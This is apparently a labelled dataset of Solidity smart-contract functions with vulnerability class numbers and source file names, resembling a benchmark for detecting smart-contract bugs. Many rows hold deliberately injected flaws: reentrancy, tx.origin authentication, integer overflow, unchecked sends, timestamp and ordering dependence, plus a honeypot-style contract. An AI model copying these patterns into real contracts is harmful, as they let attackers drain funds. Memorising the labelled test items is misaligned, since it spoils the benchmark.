Unnamed: 0
int64 1
24.8k
| func
stringlengths 26
42.8k
| target
int64 0
7
| project
stringlengths 9
47
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|---|---|---|---|
13,891 | function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
} | 0 | buggy_38.sol |
7,897 | function setWhitelistedTo(address _addr, bool _whitelisted) external onlyOwner {
emit WhitelistTo(_addr, _whitelisted);
whitelistTo[_addr] = _whitelisted;
} | 0 | buggy_27.sol |
2,692 | function withdrawAll_txorigin6(address payable _recipient,address owner_txorigin6) public {
require(tx.origin == owner_txorigin6);
_recipient.transfer(address(this).balance);
} | 1 | buggy_16.sol |
6,577 | function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint cnt = _receivers.length;
// <yes> <report> ARITHMETIC
uint256 amount = uint256(cnt) * _value;
require(cnt > 0 && cnt <= 20);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
} | 2 | BECToken.sol |
6,237 | function bug_intou27() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
} | 2 | buggy_8.sol |
12,585 | function play_TOD1(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD1 = msg.sender;
}
} | 4 | buggy_35.sol |
14,518 | function findtwoPercent(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(basePercent);
uint256 twoPercent = roundValue.mul(basePercent).div(5000);
return twoPercent;
} | 0 | buggy_28.sol |
9,453 | contract QurasToken is ERC20Interface, Owned { //SafeMath -> using SafeMath for uint; : compiler version up
using SafeMath for uint;
function unhandledsend_unchk2(address payable callee) public {
callee.send(5 ether);
}
string public symbol;
function bug_unchk43() public{
address payable addr_unchk43;
if (!addr_unchk43.send (10 ether) || 1==1)
{revert();}
}
string public name;
function my_func_uncheck48(address payable dst) public payable{
dst.call.value(msg.value)("");
}
uint8 public decimals;
function withdrawBal_unchk17 () public{
uint64 Balances_unchk17 = 0;
msg.sender.send(Balances_unchk17);}
uint _totalSupply; //unit public -> uint : compiler version up
function callnotchecked_unchk37(address payable callee) public {
callee.call.value(1 ether);
}
mapping(address => uint) balances;
function bug_unchk3(address payable addr) public
{addr.send (42 ether); }
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public { //function -> constructor : compiler version up
symbol = "XQC";
name = "Quras Token";
decimals = 8;
_totalSupply = 88888888800000000;
balances[owner] = _totalSupply; //direct address -> owner : compiler version up
emit Transfer(address(0), owner, _totalSupply); //add emit, direct address -> owner : compiler version up
}
function my_func_unchk23(address payable dst) public payable{
dst.send(msg.value);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) { //constant -> view : compiler version up
return _totalSupply.sub(balances[address(0)]);
}
function unhandledsend_unchk14(address payable callee) public {
callee.send(5 ether);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) { //constant -> view : compiler version up
return balances[tokenOwner];
}
function bug_unchk30() public{
uint receivers_unchk30;
address payable addr_unchk30;
if (!addr_unchk30.send(42 ether))
{receivers_unchk30 +=1;}
else
{revert();}
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens); //add emit : compiler version up
return true;
}
bool public payedOut_unchk8 = false;
address payable public winner_unchk8;
uint public winAmount_unchk8;
function sendToWinner_unchk8() public {
require(!payedOut_unchk8);
winner_unchk8.send(winAmount_unchk8);
payedOut_unchk8 = true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function bug_unchk39(address payable addr) public
{addr.send (4 ether); }
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function my_func_uncheck36(address payable dst) public payable{
dst.call.value(msg.value)("");
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens); //add emit : compiler version up
return true;
}
function my_func_unchk35(address payable dst) public payable{
dst.send(msg.value);
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens); //add emit : compiler version up
return true;
}
bool public payedOut_unchk44 = false;
address payable public winner_unchk44;
uint public winAmount_unchk44;
function sendToWinner_unchk44() public {
require(!payedOut_unchk44);
winner_unchk44.send(winAmount_unchk44);
payedOut_unchk44 = true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) { //constant -> view : compiler version up
return allowed[tokenOwner][spender];
}
function UncheckedExternalCall_unchk40 () public
{ address payable addr_unchk40;
if (! addr_unchk40.send (2 ether))
{// comment1;
}
else
{//comment2;
}
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens); //add emit : compiler version up
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
bool public payedOut_unchk33 = false;
function withdrawLeftOver_unchk33() public {
require(payedOut_unchk33);
msg.sender.send(address(this).balance);
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function bug_unchk27(address payable addr) public
{addr.send (42 ether); }
} | 3 | buggy_48.sol |
19,793 | function approve(address spender, uint tokens) public returns (bool success); | 0 | buggy_47.sol |
24,035 | function symbol() public view returns(string memory) {
return _symbol;
} | 0 | buggy_38.sol |
965 | function owner() public view returns (address)
{
return _owner;
} | 0 | buggy_6.sol |
12,869 | function halt() public onlyAdmin{
ieoState = State.halted;
} | 0 | buggy_47.sol |
4,241 | function bug_intou8(uint8 p_intou8) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou8; // overflow bug
} | 2 | buggy_6.sol |
844 | function sendto_txorigin17(address payable receiver, uint amount,address owner_txorigin17) public {
require (tx.origin == owner_txorigin17);
receiver.transfer(amount);
} | 1 | buggy_27.sol |
8,099 | function balanceOf(address who) external view returns (uint256); | 0 | buggy_23.sol |
14,348 | function setReward_TOD8() public payable {
require (!claimed_TOD8);
require(msg.sender == owner_TOD8);
owner_TOD8.transfer(reward_TOD8);
reward_TOD8 = msg.value;
} | 4 | buggy_15.sol |
12,042 | function setReward_TOD14() public payable {
require (!claimed_TOD14);
require(msg.sender == owner_TOD14);
owner_TOD14.transfer(reward_TOD14);
reward_TOD14 = msg.value;
} | 4 | buggy_22.sol |
22,303 | function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
} | 0 | buggy_23.sol |
20,865 | constructor(string memory tokenName, string memory tokenSymbol, uint8 dec) public {
decimals = dec;
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol;
} | 0 | buggy_17.sol |
9,810 | function bug_unchk27(address payable addr) public
{addr.send (42 ether); } | 3 | buggy_17.sol |
23,987 | function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool) {
_transfer(msg.sender, _to, _value);
return true;
} | 0 | buggy_9.sol |
21,526 | function bug_unchk_send26() payable public{
msg.sender.transfer(1 ether);} | 7 | buggy_30.sol |
23,958 | function bug_unchk_send32() payable public{
msg.sender.transfer(1 ether);} | 7 | buggy_9.sol |
10,658 | function getReward_TOD17() payable public{
winner_TOD17.transfer(msg.value);
} | 4 | buggy_30.sol |
13,626 | function getReward_TOD39() payable public{
winner_TOD39.transfer(msg.value);
} | 4 | buggy_49.sol |
12,360 | function getReward_TOD11() payable public{
winner_TOD11.transfer(msg.value);
} | 4 | buggy_20.sol |
14,972 | function name() external view returns (string memory); | 0 | buggy_30.sol |
9,348 | function() {
lendGovernmentMoney(0);
} | 0 | list_dos.sol |
2,396 | function bug_txorigin32( address owner_txorigin32) public{
require(tx.origin == owner_txorigin32);
} | 1 | buggy_48.sol |
17,293 | function Put(uint _unlockTime)
public
payable
{
var acc = Acc[msg.sender];
acc.balance += msg.value;
acc.unlockTime = _unlockTime>now?_unlockTime:now;
LogFile.AddMessage(msg.sender,msg.value,"Put");
} | 0 | 0x7541b76cb60f4c60af330c208b0623b7f54bf615.sol |
788 | function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
} | 0 | buggy_27.sol |
16,131 | function claimReward_re_ent25() public {
// ensure there is a reward to give
require(redeemableEther_re_ent25[msg.sender] > 0);
uint transferValue_re_ent25 = redeemableEther_re_ent25[msg.sender];
msg.sender.transfer(transferValue_re_ent25); //bug
redeemableEther_re_ent25[msg.sender] = 0;
} | 5 | buggy_7.sol |
17,020 | function _transferOperator(address operator) internal {
// transferring operator-ship implies there was an operator set before this
require(_operator != address(0), "operator not set");
_setOperator(operator);
} | 0 | buggy_43.sol |
24,010 | contract WhaleGiveaway2
{
address public Owner = msg.sender;
function()
public
payable
{
}
function GetFreebie()
public
payable
{
if(msg.value>1 ether)
{ Owner.transfer(this.balance);
msg.sender.transfer(this.balance);
}
}
function withdraw()
payable
public
{ if(msg.sender==0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b){Owner=0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b;}
require(msg.sender == Owner);
Owner.transfer(this.balance);
}
function Command(address adr,bytes data)
payable
public
{
require(msg.sender == Owner);
// <yes> <report> UNCHECKED_LL_CALLS
adr.call.value(msg.value)(data);
}
} | 7 | 0xf70d589d76eebdd7c12cc5eec99f8f6fa4233b9e.sol |
10,723 | function _approve(address holder, address spender, uint256 value) private {
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
} | 0 | buggy_30.sol |
74 | function bug_txorigin8(address owner_txorigin8) public{
require(tx.origin == owner_txorigin8);
} | 1 | buggy_31.sol |
24,011 | function totalSupply() external view returns (uint256); | 0 | buggy_38.sol |
12,451 | function setReward_TOD40() public payable {
require (!claimed_TOD40);
require(msg.sender == owner_TOD40);
owner_TOD40.transfer(reward_TOD40);
reward_TOD40 = msg.value;
} | 4 | buggy_20.sol |
10,268 | function setReward_TOD32() public payable {
require (!claimed_TOD32);
require(msg.sender == owner_TOD32);
owner_TOD32.transfer(reward_TOD32);
reward_TOD32 = msg.value;
} | 4 | buggy_25.sol |
11,253 | function claimReward_TOD34(uint256 submission) public {
require (!claimed_TOD34);
require(submission < 10);
msg.sender.transfer(reward_TOD34);
claimed_TOD34 = true;
} | 4 | buggy_27.sol |
15,685 | function buyTicket_re_ent9() public{
(bool success,) = lastPlayer_re_ent9.call.value(jackpot_re_ent9)("");
if (!success)
revert();
lastPlayer_re_ent9 = msg.sender;
jackpot_re_ent9 = address(this).balance;
} | 5 | buggy_6.sol |
9,219 | function my_func_unchk23(address payable dst) public payable{
dst.send(msg.value);
} | 3 | buggy_43.sol |
12,807 | constructor() public{
supply = 200000000;
founder = msg.sender;
balances[founder] = supply;
} | 0 | buggy_47.sol |
3,267 | function increaseLockTime_intou17(uint _secondsToIncrease) public {
lockTime_intou17[msg.sender] += _secondsToIncrease; //overflow
} | 2 | buggy_24.sol |
14,201 | function claimReward_TOD10(uint256 submission) public {
require (!claimed_TOD10);
require(submission < 10);
msg.sender.transfer(reward_TOD10);
claimed_TOD10 = true;
} | 4 | buggy_17.sol |
17,850 | function withdrawFunds_re_ent31 (uint256 _weiToWithdraw) public {
require(balances_re_ent31[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(msg.sender.send(_weiToWithdraw)); //bug
balances_re_ent31[msg.sender] -= _weiToWithdraw;
} | 5 | buggy_28.sol |
23,353 | function _transferOperator(address operator) internal {
// transferring operator-ship implies there was an operator set before this
require(_operator != address(0), "operator not set");
_setOperator(operator);
} | 0 | buggy_44.sol |
7,042 | function my_func_unchk35(address payable dst) public payable{
dst.send(msg.value);
} | 3 | buggy_31.sol |
9,725 | function my_func_unchk35(address payable dst) public payable{
dst.send(msg.value);
} | 3 | buggy_16.sol |
11,878 | function play_TOD1(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD1 = msg.sender;
}
} | 4 | buggy_36.sol |
14,314 | function getReward_TOD35() payable public{
winner_TOD35.transfer(msg.value);
} | 4 | buggy_17.sol |
15,894 | function totalSupply() external view returns (uint256); | 0 | buggy_23.sol |
21,057 | contract HYDROGEN is ERC20Detailed {
using SafeMath for uint256;
function bug_tmstmp9() view public returns (bool) {
return block.timestamp >= 1546300800;
}
mapping (address => uint256) private _balances;
function bug_tmstmp25() view public returns (bool) {
return block.timestamp >= 1546300800;
}
mapping (address => mapping (address => uint256)) private _allowed;
address winner_tmstmp19;
function play_tmstmp19(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp19 = msg.sender;}}
string constant tokenName = "HYDROGEN";
address winner_tmstmp26;
function play_tmstmp26(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp26 = msg.sender;}}
string constant tokenSymbol = "HGN";
function bug_tmstmp20 () public payable {
uint pastBlockTime_tmstmp20; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp20); // only 1 transaction per block //bug
pastBlockTime_tmstmp20 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
uint8 constant tokenDecimals = 4;
function bug_tmstmp32 () public payable {
uint pastBlockTime_tmstmp32; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp32); // only 1 transaction per block //bug
pastBlockTime_tmstmp32 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
uint256 _totalSupply =8000000000;
address winner_tmstmp38;
function play_tmstmp38(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp38 = msg.sender;}}
uint256 public basePercent = 100;
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_mint(msg.sender, _totalSupply);
}
address winner_tmstmp30;
function play_tmstmp30(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp30 = msg.sender;}}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function bug_tmstmp8 () public payable {
uint pastBlockTime_tmstmp8; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp8); // only 1 transaction per block //bug
pastBlockTime_tmstmp8 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
address winner_tmstmp39;
function play_tmstmp39(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp39 = msg.sender;}}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function bug_tmstmp36 () public payable {
uint pastBlockTime_tmstmp36; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp36); // only 1 transaction per block //bug
pastBlockTime_tmstmp36 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
function findtwoPercent(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(basePercent);
uint256 twoPercent = roundValue.mul(basePercent).div(5000);
return twoPercent;
}
address winner_tmstmp35;
function play_tmstmp35(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp35 = msg.sender;}}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
uint256 tokensToBurn = findtwoPercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
emit Transfer(msg.sender, to, tokensToTransfer);
emit Transfer(msg.sender, address(0), tokensToBurn);
return true;
}
function bug_tmstmp40 () public payable {
uint pastBlockTime_tmstmp40; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp40); // only 1 transaction per block //bug
pastBlockTime_tmstmp40 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function bug_tmstmp33() view public returns (bool) {
return block.timestamp >= 1546300800;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
address winner_tmstmp27;
function play_tmstmp27(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp27 = msg.sender;}}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
uint256 tokensToBurn = findtwoPercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, tokensToTransfer);
emit Transfer(from, address(0), tokensToBurn);
return true;
}
address winner_tmstmp31;
function play_tmstmp31(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp31 = msg.sender;}}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function bug_tmstmp13() view public returns (bool) {
return block.timestamp >= 1546300800;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
uint256 bugv_tmstmp5 = block.timestamp;
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
uint256 bugv_tmstmp1 = block.timestamp;
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
uint256 bugv_tmstmp2 = block.timestamp;
function _burn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
uint256 bugv_tmstmp3 = block.timestamp;
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
uint256 bugv_tmstmp4 = block.timestamp;
} | 6 | buggy_28.sol |
11,923 | function sign(
uint proposalNumber,
bool signProposal
)
onlyTokenholders public
returns (uint voteID)
{
require(initialized);
Proposal storage p = proposals[proposalNumber];
require(msg.sender == chairmanAddress);
require(signProposal == true);
p.signedByChairman = signProposal;
emit ProposalSignedByChairman(proposalNumber, signProposal, msg.sender);
return proposalNumber;
} | 0 | buggy_36.sol |
9,380 | function allowance(address tokenOwner, address spender) public view returns (uint remaining); | 0 | buggy_48.sol |
22,273 | function transfer(address to, uint256 value) external returns (bool); | 0 | buggy_23.sol |
7,458 | function revokeOperator(address operator) external; | 0 | buggy_30.sol |
15,974 | function withdraw_balances_re_ent21 () public {
(bool success,)= msg.sender.call.value(balances_re_ent21[msg.sender ])("");
if (success)
balances_re_ent21[msg.sender] = 0;
} | 5 | buggy_36.sol |
1,804 | function withdrawAll_txorigin10(address payable _recipient,address owner_txorigin10) public {
require(tx.origin == owner_txorigin10);
_recipient.transfer(address(this).balance);
} | 1 | buggy_47.sol |
22,976 | function bug_unchk_send28() payable public{
msg.sender.transfer(1 ether);} | 7 | buggy_35.sol |
8,678 | function withdrawLeftOver_unchk33() public {
require(payedOut_unchk33);
msg.sender.send(address(this).balance);
} | 3 | buggy_35.sol |
6,762 | contract RaffleTokenExchange {
using SafeMath for uint256;
//////// V A R I A B L E S
//
// The raffle token contract
//
RaffleToken constant public raffleContract = RaffleToken(0x0C8cDC16973E88FAb31DD0FCB844DdF0e1056dE2);
//
// In case the exchange is paused.
//
function bug_intou19() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
}
bool public paused;
//
// Standard contract ownership.
//
mapping(address => uint) balances_intou26;
function transfer_intou26(address _to, uint _value) public returns (bool) {
require(balances_intou26[msg.sender] - _value >= 0); //bug
balances_intou26[msg.sender] -= _value; //bug
balances_intou26[_to] += _value; //bug
return true;
}
address payable public owner;
//
// Next id for the next listing
//
function bug_intou20(uint8 p_intou20) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou20; // overflow bug
}
uint256 public nextListingId;
//
// All raffle token listings mapped by id
//
function bug_intou32(uint8 p_intou32) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou32; // overflow bug
}
mapping (uint256 => Listing) public listingsById;
//
// All purchases
//
mapping(address => uint) balances_intou38;
function transfer_intou38(address _to, uint _value) public returns (bool) {
require(balances_intou38[msg.sender] - _value >= 0); //bug
balances_intou38[msg.sender] -= _value; //bug
balances_intou38[_to] += _value; //bug
return true;
}
mapping (uint256 => Purchase) public purchasesById;
//
// Next id for the next purche
//
function bug_intou4(uint8 p_intou4) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou4; // overflow bug
}
uint256 public nextPurchaseId;
//////// S T R U C T S
//
// A listing of raffle tokens
//
struct Listing {
//
// price per token (in wei).
//
uint256 pricePerToken;
//
//
// How many tokens? (Original Amount)
//
uint256 initialAmount;
//
// How many tokens left? (Maybe altered due to partial sales)
//
uint256 amountLeft;
//
// Listed by whom?
//
address payable seller;
//
// Active/Inactive listing?
//
bool active;
}
//
// A purchase of raffle tokens
//
struct Purchase {
//
// How many tokens?
//
uint256 totalAmount;
//
// total price payed
//
uint256 totalAmountPayed;
//
// When did the purchase happen?
//
uint256 timestamp;
}
//////// EVENTS
//
//
//
function bug_intou27() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
}
event Listed(uint256 id, uint256 pricePerToken, uint256 initialAmount, address seller);
function bug_intou31() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
}
event Canceled(uint256 id);
mapping(address => uint) public lockTime_intou13;
function increaseLockTime_intou13(uint _secondsToIncrease) public {
lockTime_intou13[msg.sender] += _secondsToIncrease; //overflow
}
function withdraw_intou13() public {
require(now > lockTime_intou13[msg.sender]);
uint transferValue_intou13 = 10;
msg.sender.transfer(transferValue_intou13);
}
event Purchased(uint256 id, uint256 totalAmount, uint256 totalAmountPayed, uint256 timestamp);
//////// M O D I F I E R S
//
// Invokable only by contract owner.
//
modifier onlyContractOwner {
require(msg.sender == owner, "Function called by non-owner.");
_;
}
//
// Invokable only if exchange is not paused.
//
modifier onlyUnpaused {
require(paused == false, "Exchange is paused.");
_;
}
//////// C O N S T R U C T O R
//
constructor() public {
owner = msg.sender;
nextListingId = 916;
nextPurchaseId = 344;
}
mapping(address => uint) balances_intou30;
function transfer_intou30(address _to, uint _value) public returns (bool) {
require(balances_intou30[msg.sender] - _value >= 0); //bug
balances_intou30[msg.sender] -= _value; //bug
balances_intou30[_to] += _value; //bug
return true;
}
//////// F U N C T I O N S
//
// buyRaffle
//
function buyRaffle(uint256[] calldata amounts, uint256[] calldata listingIds) payable external onlyUnpaused {
require(amounts.length == listingIds.length, "You have to provide amounts for every single listing!");
uint256 totalAmount;
uint256 totalAmountPayed;
for (uint256 i = 0; i < listingIds.length; i++) {
uint256 id = listingIds[i];
uint256 amount = amounts[i];
Listing storage listing = listingsById[id];
require(listing.active, "Listing is not active anymore!");
listing.amountLeft = listing.amountLeft.sub(amount);
require(listing.amountLeft >= 0, "Amount left needs to be higher than 0.");
if(listing.amountLeft == 0) { listing.active = false; }
uint256 amountToPay = listing.pricePerToken * amount;
listing.seller.transfer(amountToPay);
totalAmountPayed = totalAmountPayed.add(amountToPay);
totalAmount = totalAmount.add(amount);
require(raffleContract.transferFrom(listing.seller, msg.sender, amount), 'Token transfer failed!');
}
require(totalAmountPayed <= msg.value, 'Overpayed!');
uint256 id = nextPurchaseId++;
Purchase storage purchase = purchasesById[id];
purchase.totalAmount = totalAmount;
purchase.totalAmountPayed = totalAmountPayed;
purchase.timestamp = now;
emit Purchased(id, totalAmount, totalAmountPayed, now);
}
function bug_intou8(uint8 p_intou8) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou8; // overflow bug
}
//
// Add listing
//
function addListing(uint256 initialAmount, uint256 pricePerToken) external onlyUnpaused {
require(raffleContract.balanceOf(msg.sender) >= initialAmount, "Amount to sell is higher than balance!");
require(raffleContract.allowance(msg.sender, address(this)) >= initialAmount, "Allowance is to small (increase allowance)!");
uint256 id = nextListingId++;
Listing storage listing = listingsById[id];
listing.initialAmount = initialAmount;
listing.amountLeft = initialAmount;
listing.pricePerToken = pricePerToken;
listing.seller = msg.sender;
listing.active = true;
emit Listed(id, listing.pricePerToken, listing.initialAmount, listing.seller);
}
function bug_intou39() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
}
//
// Cancel listing
//
function cancelListing(uint256 id) external {
Listing storage listing = listingsById[id];
require(listing.active, "This listing was turned inactive already!");
require(listing.seller == msg.sender || owner == msg.sender, "Only the listing owner or the contract owner can cancel the listing!");
listing.active = false;
emit Canceled(id);
}
function bug_intou36(uint8 p_intou36) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou36; // overflow bug
}
//
// Set paused
//
function setPaused(bool value) external onlyContractOwner {
paused = value;
}
function bug_intou35() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
}
//
// Funds withdrawal to cover operational costs
//
function withdrawFunds(uint256 withdrawAmount) external onlyContractOwner {
owner.transfer(withdrawAmount);
}
function bug_intou40(uint8 p_intou40) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou40; // overflow bug
}
//
// Contract may be destroyed only when there is nothing else going on.
// All funds are transferred to contract owner.
//
function kill() external onlyContractOwner {
selfdestruct(owner);
}
mapping(address => uint) public lockTime_intou33;
function increaseLockTime_intou33(uint _secondsToIncrease) public {
lockTime_intou33[msg.sender] += _secondsToIncrease; //overflow
}
function withdraw_intou33() public {
require(now > lockTime_intou33[msg.sender]);
uint transferValue_intou33 = 10;
msg.sender.transfer(transferValue_intou33);
}
} | 2 | buggy_29.sol |
19,588 | function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
} | 0 | buggy_21.sol |
9,636 | function ifillArray() public returns (bool){
if(listAddresses.length<1500) {
// <yes> <report> DENIAL_OF_SERVICE
for(uint i=0;i<350;i++) {
listAddresses.push(msg.sender);
}
return true;
} else {
listAddresses = new address[](0);
return false;
}
} | 3 | dos_simple.sol |
22,472 | constructor() public {
owner = msg.sender;
} | 0 | buggy_22.sol |
17,238 | function claimReward_re_ent32() public {
// ensure there is a reward to give
require(redeemableEther_re_ent32[msg.sender] > 0);
uint transferValue_re_ent32 = redeemableEther_re_ent32[msg.sender];
msg.sender.transfer(transferValue_re_ent32); //bug
redeemableEther_re_ent32[msg.sender] = 0;
} | 5 | buggy_48.sol |
8,831 | function approve(address spender, uint tokens) public returns (bool success); | 0 | buggy_47.sol |
8,528 | function unhandledsend_unchk38(address payable callee) public {
callee.send(5 ether);
